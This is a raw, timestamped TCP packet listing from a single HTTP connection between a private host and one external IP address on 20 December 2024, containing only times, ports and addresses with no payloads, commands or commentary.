Dec 20, 2024 16:20:01.759197950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.759211063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.759289026 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.759630919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.759753942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.759767056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.759810925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.760323048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.760371923 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.760456085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.760468960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.760502100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.761109114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.761219025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.761233091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.761266947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.761883974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.761926889 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.762012005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.762026072 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.762067080 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.762655973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.762814999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.762828112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.762857914 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.763483047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.763534069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.763555050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.763567924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.763639927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.764249086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.764411926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.764424086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.764456034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.764947891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.764997959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.798676968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.798753023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.798767090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.798801899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.799031019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.799076080 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.799236059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.799248934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.799289942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.799848080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.800010920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.800052881 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.800153971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.800574064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.800620079 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.800698996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.800712109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.800753117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.801337004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.801470995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.801484108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.801562071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.802196980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.802241087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.802265882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.802288055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.802334070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.802920103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.803034067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.803050041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.803076029 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.803853035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.803896904 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.803961992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.803973913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.804023981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.804661036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.804744005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.804758072 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.804800034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.805372000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.805424929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.805493116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.805505991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.805536985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.806132078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.806308031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.806322098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.806427002 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.806818008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.806859970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.806967020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.806981087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.807023048 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.807615042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.807718992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.807732105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.807764053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.808415890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.808469057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.808525085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.808540106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.808578968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.809223890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.809355974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.809372902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.809402943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.809933901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.809978962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.810054064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.810065985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.810106039 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.810713053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.810827971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.810842991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.810913086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.811491013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.811537981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.811580896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.811592102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.811634064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.837181091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.837253094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.837357044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.837425947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.837441921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.837456942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.837538004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.838218927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.838257074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.838269949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.838340044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.838388920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.884200096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.884306908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.884325027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.884358883 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.884548903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.884601116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.884778023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.884790897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.884833097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.885385036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.885488033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.885502100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.885539055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.886125088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.886168957 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.886231899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.886245012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.886281967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.886926889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.887233019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.887248039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.887274981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.887330055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.887372017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.887459993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.888107061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.888158083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.888165951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.888180971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.888338089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.889597893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.942336082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.955089092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.955205917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.955220938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.955277920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.955480099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.955492973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.955518007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.955533981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.955631971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.956147909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.956301928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.956314087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.956401110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.957154036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.957196951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.957211018 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.957413912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.957457066 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.957875013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.957920074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.957932949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.957978964 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.958539009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.958586931 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.958694935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.958707094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.958760977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.959230900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.959327936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.959376097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.959538937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.960115910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.960164070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.960278034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.960294962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.960339069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.960815907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.960917950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.960932016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.960959911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.991050959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.991107941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.991106987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.991122007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.991164923 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.991293907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.991306067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.991365910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.991596937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.992079020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.992131948 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.992149115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.992161989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.992237091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.993046045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.993058920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.993069887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.993108034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.993577003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.993619919 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.993721008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.993737936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.993779898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.994374037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.994512081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.994523048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.994559050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.995425940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.995481014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.995515108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.995527029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.995569944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.996077061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.996151924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.996165037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.996193886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.996697903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.996743917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.996803045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.996818066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.996855021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.997487068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.997628927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.997642994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.997677088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.998331070 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.998379946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.998472929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.998486042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.998527050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.999099016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.999202013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.999216080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.999264956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:01.999934912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:01.999990940 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.000030041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.000046015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.000082016 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.000745058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.000880957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.000896931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.000921965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.001358986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.001406908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.001482964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.001494884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.001538038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.002221107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.002233982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.002247095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.002273083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.003062010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.003103971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.003159046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.003170967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.003215075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.003819942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.003947973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.003961086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.004013062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.029614925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.029679060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.029731989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.029747009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.029786110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.030082941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.030237913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.030251980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.030289888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.030740976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.030798912 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.077502012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.077584982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.077595949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.077630997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.078169107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.078181028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.078192949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.078221083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.078262091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.078634977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.078736067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.078747988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.078784943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.079529047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.079581022 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.079624891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.079638004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.079675913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.080395937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.080784082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.080825090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.081058025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.081115007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.081161976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.081309080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.081515074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.081527948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.081564903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.082225084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.082272053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.082398891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.082410097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.082452059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.147552967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.147658110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.147671938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.147730112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.147785902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.147835016 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.148051977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.148233891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.148272038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.148370028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.148385048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.148422956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.148956060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.149070024 CET	80	49828	185.215.113.16	192.168.2.6
